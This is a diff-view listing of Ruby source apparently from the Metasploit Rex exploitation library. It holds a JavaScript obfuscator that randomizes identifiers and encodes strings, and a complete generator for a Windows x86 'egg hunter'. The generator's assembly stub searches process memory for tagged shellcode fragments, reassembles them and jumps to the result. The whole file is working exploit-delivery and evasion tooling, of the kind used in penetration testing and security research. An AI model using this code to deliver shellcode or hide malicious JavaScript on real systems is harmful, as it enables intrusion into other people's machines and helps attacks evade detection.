|
+
attr_reader :opts
|
|
11
|
+
|
|
12
|
+
#
|
|
13
|
+
# Obfuscates a javascript string.
|
|
14
|
+
#
|
|
15
|
+
# Options are 'Symbols', described below, and 'Strings', a boolean
|
|
16
|
+
# which specifies whether strings within the javascript should be
|
|
17
|
+
# mucked with (defaults to false).
|
|
18
|
+
#
|
|
19
|
+
# The 'Symbols' argument should have the following format:
|
|
20
|
+
#
|
|
21
|
+
# {
|
|
22
|
+
# 'Variables' => [ 'var1', ... ],
|
|
23
|
+
# 'Methods' => [ 'method1', ... ],
|
|
24
|
+
# 'Namespaces' => [ 'n', ... ],
|
|
25
|
+
# 'Classes' => [ { 'Namespace' => 'n', 'Class' => 'y'}, ... ]
|
|
26
|
+
# }
|
|
27
|
+
#
|
|
28
|
+
# Make sure you order your methods, classes, and namespaces by most
|
|
29
|
+
# specific to least specific to prevent partial substitution. For
|
|
30
|
+
# instance, if you have two methods (joe and joeBob), you should place
|
|
31
|
+
# joeBob before joe because it is more specific and will be globally
|
|
32
|
+
# replaced before joe is replaced.
|
|
33
|
+
#
|
|
34
|
+
# A simple example follows:
|
|
35
|
+
#
|
|
36
|
+
# <code>
|
|
37
|
+
# js = ObfuscateJS.new <<ENDJS
|
|
38
|
+
# function say_hi() {
|
|
39
|
+
# var foo = "Hello, world";
|
|
40
|
+
# document.writeln(foo);
|
|
41
|
+
# }
|
|
42
|
+
# ENDJS
|
|
43
|
+
# js.obfuscate(
|
|
44
|
+
# 'Symbols' => {
|
|
45
|
+
# 'Variables' => [ 'foo' ],
|
|
46
|
+
# 'Methods' => [ 'say_hi' ]
|
|
47
|
+
# }
|
|
48
|
+
# 'Strings' => true
|
|
49
|
+
# )
|
|
50
|
+
# </code>
|
|
51
|
+
#
|
|
52
|
+
# which should generate something like the following:
|
|
53
|
+
#
|
|
54
|
+
# <code>
|
|
55
|
+
# function oJaDYRzFOyJVQCOHk() { var cLprVG = "\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64"; document.writeln(cLprVG); }
|
|
56
|
+
# </code>
|
|
57
|
+
#
|
|
58
|
+
# String obfuscation tries to deal with escaped quotes within strings but
|
|
59
|
+
# won't catch things like
|
|
60
|
+
# "\\"
|
|
61
|
+
# so be careful.
|
|
62
|
+
#
|
|
63
|
+
def self.obfuscate(js, opts = {})
|
|
64
|
+
ObfuscateJS.new(js).obfuscate(opts)
|
|
65
|
+
end
|
|
66
|
+
|
|
67
|
+
#
|
|
68
|
+
# Initialize an instance of the obfuscator
|
|
69
|
+
#
|
|
70
|
+
def initialize(js = "", opts = {})
|
|
71
|
+
@js = js
|
|
72
|
+
@dynsym = {}
|
|
73
|
+
@opts = {
|
|
74
|
+
'Symbols' => {
|
|
75
|
+
'Variables'=>[],
|
|
76
|
+
'Methods'=>[],
|
|
77
|
+
'Namespaces'=>[],
|
|
78
|
+
'Classes'=>[]
|
|
79
|
+
},
|
|
80
|
+
'Strings'=>false
|
|
81
|
+
}
|
|
82
|
+
@done = false
|
|
83
|
+
update_opts(opts) if (opts.length > 0)
|
|
84
|
+
end
|
|
85
|
+
|
|
86
|
+
def update_opts(opts)
|
|
87
|
+
if (opts.nil? or opts.length < 1)
|
|
88
|
+
return
|
|
89
|
+
end
|
|
90
|
+
if (@opts['Symbols'] && opts['Symbols'])
|
|
91
|
+
['Variables', 'Methods', 'Namespaces', 'Classes'].each { |k|
|
|
92
|
+
if (@opts['Symbols'][k] && opts['Symbols'][k])
|
|
93
|
+
opts['Symbols'][k].each { |s|
|
|
94
|
+
if (not @opts['Symbols'][k].include? s)
|
|
95
|
+
@opts['Symbols'][k].push(s)
|
|
96
|
+
end
|
|
97
|
+
}
|
|
98
|
+
elsif (opts['Symbols'][k])
|
|
99
|
+
@opts['Symbols'][k] = opts['Symbols'][k]
|
|
100
|
+
end
|
|
101
|
+
}
|
|
102
|
+
elsif opts['Symbols']
|
|
103
|
+
@opts['Symbols'] = opts['Symbols']
|
|
104
|
+
end
|
|
105
|
+
@opts['Strings'] ||= opts['Strings']
|
|
106
|
+
end
|
|
107
|
+
|
|
108
|
+
#
|
|
109
|
+
# Returns the dynamic symbol associated with the supplied symbol name
|
|
110
|
+
#
|
|
111
|
+
# If obfuscation has not yet been performed (i.e. obfuscate() has not been
|
|
112
|
+
# called), then this method simply returns its argument
|
|
113
|
+
#
|
|
114
|
+
def sym(name)
|
|
115
|
+
@dynsym[name] || name
|
|
116
|
+
end
|
|
117
|
+
|
|
118
|
+
#
|
|
119
|
+
# Obfuscates the javascript string passed to the constructor
|
|
120
|
+
#
|
|
121
|
+
def obfuscate(opts = {})
|
|
122
|
+
#return @js if (@done)
|
|
123
|
+
@done = true
|
|
124
|
+
|
|
125
|
+
update_opts(opts)
|
|
126
|
+
|
|
127
|
+
if (@opts['Strings'])
|
|
128
|
+
obfuscate_strings()
|
|
129
|
+
|
|
130
|
+
# Full space randomization does not work for javascript -- despite
|
|
131
|
+
# claims that space is irrelavent, newlines break things. Instead,
|
|
132
|
+
# use only space (0x20) and tab (0x09).
|
|
133
|
+
|
|
134
|
+
#@js.gsub!(/[\x09\x20]+/) { |s|
|
|
135
|
+
# len = rand(50)+2
|
|
136
|
+
# set = "\x09\x20"
|
|
137
|
+
# buf = ''
|
|
138
|
+
# while (buf.length < len)
|
|
139
|
+
# buf << set[rand(set.length)].chr
|
|
140
|
+
# end
|
|
141
|
+
#
|
|
142
|
+
# buf
|
|
143
|
+
#}
|
|
144
|
+
end
|
|
145
|
+
|
|
146
|
+
# Remove our comments
|
|
147
|
+
remove_comments
|
|
148
|
+
|
|
149
|
+
# Globally replace symbols
|
|
150
|
+
replace_symbols(@opts['Symbols']) if @opts['Symbols']
|
|
151
|
+
|
|
152
|
+
return @js
|
|
153
|
+
end
|
|
154
|
+
|
|
155
|
+
#
|
|
156
|
+
# Returns the replaced javascript string
|
|
157
|
+
#
|
|
158
|
+
def to_s
|
|
159
|
+
@js
|
|
160
|
+
end
|
|
161
|
+
alias :to_str :to_s
|
|
162
|
+
|
|
163
|
+
def <<(str)
|
|
164
|
+
@js << str
|
|
165
|
+
end
|
|
166
|
+
def +(str)
|
|
167
|
+
@js + str
|
|
168
|
+
end
|
|
169
|
+
|
|
170
|
+
protected
|
|
171
|
+
attr_accessor :done
|
|
172
|
+
|
|
173
|
+
#
|
|
174
|
+
# Get rid of both single-line C++ style comments and multiline C style comments.
|
|
175
|
+
#
|
|
176
|
+
# Note: embedded comments (e.g.: "/*/**/*/") will break this,
|
|
177
|
+
# but they also break real javascript engines so I don't care.
|
|
178
|
+
#
|
|
179
|
+
def remove_comments
|
|
180
|
+
@js.gsub!(%r{\s+//.*$}, '')
|
|
181
|
+
@js.gsub!(%r{/\*.*?\*/}m, '')
|
|
182
|
+
end
|
|
183
|
+
|
|
184
|
+
# Replace method, class, and namespace symbols found in the javascript
|
|
185
|
+
# string
|
|
186
|
+
def replace_symbols(symbols)
|
|
187
|
+
taken = { }
|
|
188
|
+
|
|
189
|
+
# Generate random symbol names
|
|
190
|
+
[ 'Variables', 'Methods', 'Classes', 'Namespaces' ].each { |symtype|
|
|
191
|
+
next if symbols[symtype].nil?
|
|
192
|
+
symbols[symtype].each { |sym|
|
|
193
|
+
dyn = Rex::Text.rand_text_alpha(rand(32)+1) until dyn and not taken.key?(dyn)
|
|
194
|
+
|
|
195
|
+
taken[dyn] = true
|
|
196
|
+
|
|
197
|
+
if symtype == 'Classes'
|
|
198
|
+
full_sym = sym['Namespace'] + "." + sym['Class']
|
|
199
|
+
@dynsym[full_sym] = dyn
|
|
200
|
+
|
|
201
|
+
@js.gsub!(/#{full_sym}/) { |m|
|
|
202
|
+
sym['Namespace'] + "." + dyn
|
|
203
|
+
}
|
|
204
|
+
else
|
|
205
|
+
@dynsym[sym] = dyn
|
|
206
|
+
|
|
207
|
+
@js.gsub!(/#{sym}/, dyn)
|
|
208
|
+
end
|
|
209
|
+
}
|
|
210
|
+
}
|
|
211
|
+
end
|
|
212
|
+
|
|
213
|
+
#
|
|
214
|
+
# Change each string into some javascript that will generate that string
|
|
215
|
+
#
|
|
216
|
+
# There are a couple of caveats to using string obfuscation:
|
|
217
|
+
# * it tries to deal with escaped quotes within strings but won't catch
|
|
218
|
+
# things like: "\\"
|
|
219
|
+
# * depending on the random choices, this can easily balloon a short
|
|
220
|
+
# string up to hundreds of kilobytes if called multiple times.
|
|
221
|
+
# so be careful.
|
|
222
|
+
#
|
|
223
|
+
def obfuscate_strings()
|
|
224
|
+
@js.gsub!(/".*?[^\\]"|'.*?[^\\]'/) { |str|
|
|
225
|
+
buf = ''
|
|
226
|
+
quote = str[0,1]
|
|
227
|
+
# Pull the quotes off either end
|
|
228
|
+
str = str[1, str.length-2]
|
|
229
|
+
case (rand(2))
|
|
230
|
+
# Disable hex encoding for now. It's just too big a hassle.
|
|
231
|
+
#when 0
|
|
232
|
+
# # This is where we can run into trouble with generating
|
|
233
|
+
# # incorrect code. If we hex encode a string twice, the second
|
|
234
|
+
# # encoding will generate the first instead of the original
|
|
235
|
+
# # string.
|
|
236
|
+
# if str =~ /\\x/
|
|
237
|
+
# # Always have to remove spaces from strings so the space
|
|
238
|
+
# # randomization doesn't mess with them.
|
|
239
|
+
# buf = quote + str.gsub(/ /, '\x20') + quote
|
|
240
|
+
# else
|
|
241
|
+
# buf = '"' + Rex::Text.to_hex(str) + '"'
|
|
242
|
+
# end
|
|
243
|
+
when 0
|
|
244
|
+
#
|
|
245
|
+
# Escape sequences when naively encoded for unescape become a
|
|
246
|
+
# literal backslash instead of the intended meaning. To avoid
|
|
247
|
+
# that problem, we scan the string for escapes and leave them
|
|
248
|
+
# unmolested.
|
|
249
|
+
#
|
|
250
|
+
buf << 'unescape("'
|
|
251
|
+
bytes = str.unpack("C*")
|
|
252
|
+
c = 0
|
|
253
|
+
while bytes[c]
|
|
254
|
+
if bytes[c].chr == "\\"
|
|
255
|
+
# XXX This is pretty slow.
|
|
256
|
+
esc_len = parse_escape(bytes, c)
|
|
257
|
+
buf << bytes[c, esc_len].map{|a| a.chr}.join
|
|
258
|
+
c += esc_len
|
|
259
|
+
next
|
|
260
|
+
end
|
|
261
|
+
buf << "%%%0.2x"%(bytes[c])
|
|
262
|
+
# Break the string into smaller strings
|
|
263
|
+
if bytes[c+1] and rand(10) == 0
|
|
264
|
+
buf << '" + "'
|
|
265
|
+
end
|
|
266
|
+
c += 1
|
|
267
|
+
end
|
|
268
|
+
buf << '")'
|
|
269
|
+
when 1
|
|
270
|
+
buf = "String.fromCharCode( "
|
|
271
|
+
bytes = str.unpack("C*")
|
|
272
|
+
c = 0
|
|
273
|
+
while bytes[c]
|
|
274
|
+
if bytes[c].chr == "\\"
|
|
275
|
+
case bytes[c+1].chr
|
|
276
|
+
# For chars that contain their non-escaped selves, step
|
|
277
|
+
# past the backslash and let the rand() below decide
|
|
278
|
+
# how to represent the character.
|
|
279
|
+
when '"'; c += 1
|
|
280
|
+
when "'"; c += 1
|
|
281
|
+
when "\\"; c += 1
|
|
282
|
+
# For others, just take the hex representation out of
|
|
283
|
+
# laziness.
|
|
284
|
+
when "n"; buf << "0x0a"; c += 2; next
|
|
285
|
+
when "t"; buf << "0x09"; c += 2; next
|
|
286
|
+
# Lastly, if it's a hex, unicode, or octal escape,
|
|
287
|
+
# leave it, and anything after it, alone. At some
|
|
288
|
+
# point we may want to parse up to the end of the
|
|
289
|
+
# escapes and encode subsequent non-escape characters.
|
|
290
|
+
# Since this is the lazy way to do it, spaces after an
|
|
291
|
+
# escape sequence will get away unmodified. To prevent
|
|
292
|
+
# the space randomizer from hosing the string, convert
|
|
293
|
+
# spaces specifically.
|
|
294
|
+
else
|
|
295
|
+
buf = buf[0,buf.length-1] + " )"
|
|
296
|
+
buf << ' + ("' + bytes[c, bytes.length].map{|a| a==0x20 ? '\x20' : a.chr}.join + '" '
|
|
297
|
+
break
|
|
298
|
+
end
|
|
299
|
+
end
|
|
300
|
+
case (rand(3))
|
|
301
|
+
when 0
|
|
302
|
+
buf << " %i,"%(bytes[c])
|
|
303
|
+
when 1
|
|
304
|
+
buf << " 0%o,"%(bytes[c])
|
|
305
|
+
when 2
|
|
306
|
+
buf << " 0x%0.2x,"%(bytes[c])
|
|
307
|
+
end
|
|
308
|
+
c += 1
|
|
309
|
+
end
|
|
310
|
+
# Strip off the last comma
|
|
311
|
+
buf = buf[0,buf.length-1] + " )"
|
|
312
|
+
end
|
|
313
|
+
buf
|
|
314
|
+
}
|
|
315
|
+
@js
|
|
316
|
+
end
|
|
317
|
+
|
|
318
|
+
def parse_escape(bytes, offset)
|
|
319
|
+
esc_len = 0
|
|
320
|
+
if bytes[offset].chr == "\\"
|
|
321
|
+
case bytes[offset+1].chr
|
|
322
|
+
when "u"; esc_len = 6 # unicode \u1234
|
|
323
|
+
when "x"; esc_len = 4 # hex, \x41
|
|
324
|
+
when /[0-9]/ # octal, \123, \0
|
|
325
|
+
oct = bytes[offset+1, 4].map{|a|a.chr}.join
|
|
326
|
+
oct =~ /([0-9]+)/
|
|
327
|
+
esc_len = 1 + $1.length
|
|
328
|
+
else; esc_len = 2 # \" \n, etc.
|
|
329
|
+
end
|
|
330
|
+
end
|
|
331
|
+
esc_len
|
|
332
|
+
end
|
|
333
|
+
end
|
|
334
|
+
|
|
335
|
+
end
|
|
336
|
+
end
|
|
@@ -0,0 +1,321 @@
|
|
|
1
|
+
# -*- coding: binary -*-
|
|
2
|
+
require 'rex/text'
|
|
3
|
+
require 'rex/arch'
|
|
4
|
+
require 'metasm'
|
|
5
|
+
|
|
6
|
+
|
|
7
|
+
module Rex
|
|
8
|
+
module Exploitation
|
|
9
|
+
|
|
10
|
+
###
|
|
11
|
+
#
|
|
12
|
+
# This class provides an interface to generating an eggs-to-omelet hunter for win/x86.
|
|
13
|
+
#
|
|
14
|
+
# Written by corelanc0d3r <peter.ve@corelan.be>
|
|
15
|
+
#
|
|
16
|
+
###
|
|
17
|
+
class Omelet
|
|
18
|
+
|
|
19
|
+
###
|
|
20
|
+
#
|
|
21
|
+
# Windows-based eggs-to-omelet hunters
|
|
22
|
+
#
|
|
23
|
+
###
|
|
24
|
+
module Windows
|
|
25
|
+
Alias = "win"
|
|
26
|
+
|
|
27
|
+
module X86
|
|
28
|
+
Alias = ARCH_X86
|
|
29
|
+
|
|
30
|
+
#
|
|
31
|
+
# The hunter stub for win/x86.
|
|
32
|
+
#
|
|
33
|
+
def hunter_stub
|
|
34
|
+
{
|
|
35
|
+
# option hash members go here (currently unused)
|
|
36
|
+
}
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
end
|
|
40
|
+
end
|
|
41
|
+
|
|
42
|
+
###
|
|
43
|
+
#
|
|
44
|
+
# Generic interface
|
|
45
|
+
#
|
|
46
|
+
###
|
|
47
|
+
|
|
48
|
+
#
|
|
49
|
+
# Creates a new hunter instance and acquires the sub-class that should
|
|
50
|
+
# be used for generating the stub based on the supplied platform and
|
|
51
|
+
# architecture.
|
|
52
|
+
#
|
|
53
|
+
def initialize(platform, arch = nil)
|
|
54
|
+
Omelet.constants.each { |c|
|
|
55
|
+
mod = self.class.const_get(c)
|
|
56
|
+
|
|
57
|
+
next if ((!mod.kind_of?(::Module)) or (!mod.const_defined?('Alias')))
|
|
58
|
+
|
|
59
|
+
if (platform =~ /#{mod.const_get('Alias')}/i)
|
|
60
|
+
self.extend(mod)
|
|
61
|
+
|
|
62
|
+
if (arch and mod)
|
|
63
|
+
mod.constants.each { |a|
|
|
64
|
+
amod = mod.const_get(a)
|
|
65
|
+
|
|
66
|
+
next if ((!amod.kind_of?(::Module)) or
|
|
67
|
+
(!amod.const_defined?('Alias')))
|
|
68
|
+
|
|
69
|
+
if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
|
|
70
|
+
amod = mod.const_get(a)
|
|
71
|
+
|
|
72
|
+
self.extend(amod)
|
|
73
|
+
end
|
|
74
|
+
}
|
|
75
|
+
end
|
|
76
|
+
end
|
|
77
|
+
}
|
|
78
|
+
end
|
|
79
|
+
|
|
80
|
+
#
|
|
81
|
+
# This method generates an eggs-to-omelet hunter using the derived hunter stub.
|
|
82
|
+
#
|
|
83
|
+
def generate(payload, badchars = '', opts = {})
|
|
84
|
+
|
|
85
|
+
eggsize = opts[:eggsize] || 123
|
|
86
|
+
eggtag = opts[:eggtag] || "00w"
|
|
87
|
+
searchforward = opts[:searchforward] || true
|
|
88
|
+
reset = opts[:reset]
|
|
89
|
+
startreg = opts[:startreg]
|
|
90
|
+
usechecksum = opts[:checksum]
|
|
91
|
+
adjust = opts[:adjust] || 0
|
|
92
|
+
|
|
93
|
+
return nil if ((opts = hunter_stub) == nil)
|
|
94
|
+
|
|
95
|
+
# calculate number of eggs
|
|
96
|
+
payloadlen = payload.length
|
|
97
|
+
delta = payloadlen / eggsize
|
|
98
|
+
delta = delta * eggsize
|
|
99
|
+
nr_eggs = payloadlen / eggsize
|
|
100
|
+
if delta < payloadlen
|
|
101
|
+
nr_eggs = nr_eggs+1
|
|
102
|
+
end
|
|
103
|
+
|
|
104
|
+
nr_eggs_hex = "%02x" % nr_eggs
|
|
105
|
+
eggsize_hex = "%02x" % eggsize
|
|
106
|
+
|
|
107
|
+
hextag = ''
|
|
108
|
+
eggtag.each_byte do |thischar|
|
|
109
|
+
decchar = "%02x" % thischar
|
|
110
|
+
hextag = decchar + hextag
|
|
111
|
+
end
|
|
112
|
+
hextag = hextag + "01"
|
|
113
|
+
|
|
114
|
+
# search forward or backward ?
|
|
115
|
+
setflag = nil
|
|
116
|
+
searchstub1 = nil
|
|
117
|
+
searchstub2 = nil
|
|
118
|
+
flipflagpre = ''
|
|
119
|
+
flipflagpost = ''
|
|
120
|
+
checksum = ''
|
|
121
|
+
|
|
122
|
+
if searchforward
|
|
123
|
+
# clear direction flag
|
|
124
|
+
setflag = "cld"
|
|
125
|
+
searchstub1 = "dec edx\n\tdec edx\n\tdec edx\n\tdec edx"
|
|
126
|
+
searchstub2 = "inc edx"
|
|
127
|
+
else
|
|
128
|
+
# set the direction flag
|
|
129
|
+
setflag = "std"
|
|
130
|
+
searchstub1 = "inc edx\n\tinc edx\n\tinc edx\n\tinc edx"
|
|
131
|
+
searchstub2 = "dec edx"
|
|
132
|
+
flipflagpre = "cld\n\tsub esi,-8"
|
|
133
|
+
flipflagpost = "std"
|
|
134
|
+
end
|
|
135
|
+
|
|
136
|
+
# will we have to adjust the destination address ?
|
|
137
|
+
adjustdest = ''
|
|
138
|
+
if adjust > 0
|
|
139
|
+
adjustdest = "\n\tsub edi,#{adjust}"
|
|
140
|
+
elsif adjust < 0
|
|
141
|
+
adjustdest = "\n\tadd edi,#{adjust}"
|
|
142
|
+
end
|
|
143
|
+
|
|
144
|
+
# prepare the stub that starts the search
|
|
145
|
+
startstub = ''
|
|
146
|
+
if startreg
|
|
147
|
+
if startreg.downcase != 'ebp'
|
|
148
|
+
startstub << "mov ebp,#{startreg}"
|
|
149
|
+
end
|
|
150
|
+
startstub << "\n\t" if startstub.length > 0
|
|
151
|
+
startstub << "mov edx,ebp"
|
|
152
|
+
end
|
|
153
|
+
# a register will be used as start location for the search
|
|
154
|
+
startstub << "\n\t" if startstub.length > 0
|
|
155
|
+
startstub << "push esp\n\tpop edi\n\tor di,0xffff"
|
|
156
|
+
startstub << adjustdest
|
|
157
|
+
# edx will be used, start at end of stack frame
|
|
158
|
+
if not startreg
|
|
159
|
+
startstub << "\n\tmov edx,edi"
|
|
160
|
+
if reset
|
|
161
|
+
startstub << "\n\tpush edx\n\tpop ebp"
|
|
162
|
+
end
|
|
163
|
+
end
|
|
164
|
+
|
|
165
|
+
# reset start after each egg was found ?
|
|
166
|
+
# will allow to find eggs when they are out of order/sequence
|
|
167
|
+
resetstart = ''
|
|
168
|
+
if reset
|
|
169
|
+
resetstart = "push ebp\n\tpop edx"
|
|
170
|
+
end
|
|
171
|
+
|
|
172
|
+
#checksum code by dijital1 & corelanc0d3r
|
|
173
|
+
if usechecksum
|
|
174
|
+
checksum = <<EOS
|
|
175
|
+
xor ecx,ecx
|
|
176
|
+
xor eax,eax
|
|
177
|
+
calc_chksum_loop:
|
|
178
|
+
add al,byte [edx+ecx]
|
|
179
|
+
inc ecx
|
|
180
|
+
cmp cl, egg_size
|
|
181
|
+
jnz calc_chksum_loop
|
|
182
|
+
test_chksum:
|
|
183
|
+
cmp al,byte [edx+ecx]
|
|
184
|
+
jnz find_egg
|
|
185
|
+
EOS
|
|
186
|
+
end
|
|
187
|
+
|
|
188
|
+
# create omelet code
|
|
189
|
+
omelet_hunter = <<EOS
|
|
190
|
+
|
|
191
|
+
nr_eggs equ 0x#{nr_eggs_hex} ; number of eggs
|
|
192
|
+
egg_size equ 0x#{eggsize_hex} ; nr bytes of payload per egg
|
|
193
|
+
hex_tag equ 0x#{hextag} ; tag
|
|
194
|
+
|
|
195
|
+
#{setflag} ; set/clear direction flag
|
|
196
|
+
jmp start
|
|
197
|
+
|
|
198
|
+
; routine to calculate the target location
|
|
199
|
+
; for writing recombined shellcode (omelet)
|
|
200
|
+
; I'll use EDI as target location
|
|
201
|
+
; First, I'll make EDI point to end of stack
|
|
202
|
+
; and I'll put the number of shellcode eggs in eax
|
|
203
|
+
get_target_loc:
|
|
204
|
+
#{startstub} ; use edx as start location for the search
|
|
205
|
+
xor eax,eax ; zero eax
|
|
206
|
+
mov al,nr_eggs ; put number of eggs in eax
|
|
207
|
+
|
|
208
|
+
calc_target_loc:
|
|
209
|
+
xor esi,esi ; use esi as counter to step back
|
|
210
|
+
mov si,0-(egg_size+20) ; add 20 bytes of extra space, per egg
|
|
211
|
+
|
|
212
|
+
get_target_loc_loop: ; start loop
|
|
213
|
+
dec edi ; step back
|
|
214
|
+
inc esi ; and update ESI counter
|
|
215
|
+
cmp si,-1 ; continue to step back until ESI = -1
|
|
216
|
+
jnz get_target_loc_loop
|
|
217
|
+
dec eax ; loop again if we did not take all pieces
|
|
218
|
+
; into account yet
|
|
219
|
+
jnz calc_target_loc
|
|
220
|
+
|
|
221
|
+
; edi now contains target location
|
|
222
|
+
; for recombined shellcode
|
|
223
|
+
xor ebx,ebx ; put loop counter in ebx
|
|
224
|
+
mov bl,nr_eggs+1
|
|
225
|
+
ret
|
|
226
|
+
|
|
227
|
+
start:
|
|
228
|
+
call get_target_loc ; jump to routine which will calculate shellcode dst address
|
|
229
|
+
|
|
230
|
+
; start looking for eggs, using edx as basepointer
|
|
231
|
+
jmp search_next_address
|
|
232
|
+
|
|
233
|
+
find_egg:
|
|
234
|
+
#{searchstub1} ; based on search direction
|
|
235
|
+
|
|
236
|
+
search_next_address:
|
|
237
|
+
#{searchstub2} ; based on search direction
|
|
238
|
+
push edx ; save edx
|
|
239
|
+
push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
|
|
240
|
+
pop eax ; set eax to 0x02
|
|
241
|
+
int 0x2e
|
|
242
|
+
cmp al,0x5 ; address readable ?
|
|
243
|
+
pop edx ; restore edx
|
|
244
|
+
je search_next_address ; if addressss is not readable, go to next address
|
|
245
|
+
|
|
246
|
+
mov eax,hex_tag ; if address is readable, prepare tag in eax
|
|
247
|
+
add eax,ebx ; add offset (ebx contains egg counter, remember ?)
|
|
248
|
+
xchg edi,edx ; switch edx/edi
|
|
249
|
+
scasd ; edi points to the tag ?
|
|
250
|
+
xchg edi,edx ; switch edx/edi back
|
|
251
|
+
jnz find_egg ; if tag was not found, go to next address
|
|
252
|
+
;found the tag at edx
|
|
253
|
+
|
|
254
|
+
;do we need to verify checksum ? (prevents finding corrupted eggs)
|
|
255
|
+
#{checksum}
|
|
256
|
+
|
|
257
|
+
copy_egg:
|
|
258
|
+
; ecx must first be set to egg_size (used by rep instruction) and esi as source
|
|
259
|
+
mov esi,edx ; set ESI = EDX (needed for rep instruction)
|
|
260
|
+
xor ecx,ecx
|
|
261
|
+
mov cl,egg_size ; set copy counter
|
|
262
|
+
#{flipflagpre} ; flip destination flag if necessary
|
|
263
|
+
rep movsb ; copy egg from ESI to EDI
|
|
264
|
+
#{flipflagpost} ; flip destination flag again if necessary
|
|
265
|
+
dec ebx ; decrement egg
|
|
266
|
+
#{resetstart} ; reset start location if necessary
|
|
267
|
+
cmp bl,1 ; found all eggs ?
|
|
268
|
+
jnz find_egg ; no = look for next egg
|
|
269
|
+
; done - all eggs have been found and copied
|
|
270
|
+
|
|
271
|
+
done:
|
|
272
|
+
call get_target_loc ; re-calculate location where recombined shellcode is placed
|
|
273
|
+
cld
|
|
274
|
+
jmp edi ; and jump to it :)
|
|
275
|
+
EOS
|
|
276
|
+
|
|
277
|
+
the_omelet = Metasm::Shellcode.assemble(Metasm::Ia32.new, omelet_hunter).encode_string
|
|
278
|
+
|
|
279
|
+
# create the eggs array
|
|
280
|
+
total_size = eggsize * nr_eggs
|
|
281
|
+
padlen = total_size - payloadlen
|
|
282
|
+
payloadpadding = "A" * padlen
|
|
283
|
+
|
|
284
|
+
fullcode = payload + payloadpadding
|
|
285
|
+
eggcnt = nr_eggs + 2
|
|
286
|
+
startcode = 0
|
|
287
|
+
|
|
288
|
+
eggs = []
|
|
289
|
+
while eggcnt > 2 do
|
|
290
|
+
egg_prep = eggcnt.chr + eggtag
|
|
291
|
+
this_egg = fullcode[startcode, eggsize]
|
|
292
|
+
if usechecksum
|
|
293
|
+
cksum = 0
|
|
294
|
+
this_egg.each_byte { |b|
|
|
295
|
+
cksum += b
|
|
296
|
+
}
|
|
297
|
+
this_egg << [cksum & 0xff].pack('C')
|
|
298
|
+
end
|
|
299
|
+
|
|
300
|
+
this_egg = egg_prep + this_egg
|
|
301
|
+
eggs << this_egg
|
|
302
|
+
|
|
303
|
+
eggcnt -= 1
|
|
304
|
+
startcode += eggsize
|
|
305
|
+
end
|
|
306
|
+
|
|
307
|
+
return [ the_omelet, eggs ]
|
|
308
|
+
end
|
|
309
|
+
|
|
310
|
+
protected
|
|
311
|
+
|
|
312
|
+
#
|
|
313
|
+
# Stub method that is meant to be overridden. It returns the raw stub that
|
|
314
|
+
# should be used as the omelet maker (combine the eggs).
|
|
315
|
+
#
|
|
316
|
+
def hunter_stub
|
|
317
|
+
end
|
|
318
|
+
|
|
319
|
+
end
|
|
320
|
+
end
|
|
321
|
+
end
|